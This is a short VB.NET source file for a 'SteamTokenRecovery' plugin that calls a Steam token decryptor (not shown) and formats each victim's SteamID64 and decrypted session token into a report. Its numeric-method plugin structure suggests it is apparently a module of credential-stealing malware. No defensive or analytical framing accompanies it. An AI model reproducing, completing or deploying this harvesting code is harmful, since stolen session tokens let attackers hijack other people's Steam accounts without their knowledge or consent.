31 lines
1.2 KiB
VB.net
31 lines
1.2 KiB
VB.net
|
Namespace SteamTokenRecovery
|
||
|
|
Public Class Plugin
|
||
|
|
Public Shared Function RunRecovery(Method As Integer) As String
|
||
|
|
Try
|
||
|
|
Select Case Method
|
||
|
|
Case 10
|
||
|
|
Dim decryptedSteamTokens As Dictionary(Of String, String) = SteamTokenDecryptor.GetDecryptedSteamTokens()
|
||
|
|
If decryptedSteamTokens Is Nothing OrElse decryptedSteamTokens.Count = 0 Then
|
||
|
|
Return Nothing
|
||
|
|
End If
|
||
|
|
|
||
|
|
Dim result As New Text.StringBuilder()
|
||
|
|
result.AppendLine("Steam tokens found:")
|
||
|
|
|
||
|
|
For Each kvp As KeyValuePair(Of String, String) In decryptedSteamTokens
|
||
|
|
result.AppendLine("SteamID64: " & kvp.Key)
|
||
|
|
result.AppendLine("Token: " & kvp.Value)
|
||
|
|
result.AppendLine(New String("-"c, 40))
|
||
|
|
Next
|
||
|
|
|
||
|
|
Return result.ToString()
|
||
|
|
End Select
|
||
|
|
Catch
|
||
|
|
Return Nothing
|
||
|
|
End Try
|
||
|
|
|
||
|
|
Return Nothing
|
||
|
|
End Function
|
||
|
|
End Class
|
||
|
|
End Namespace
|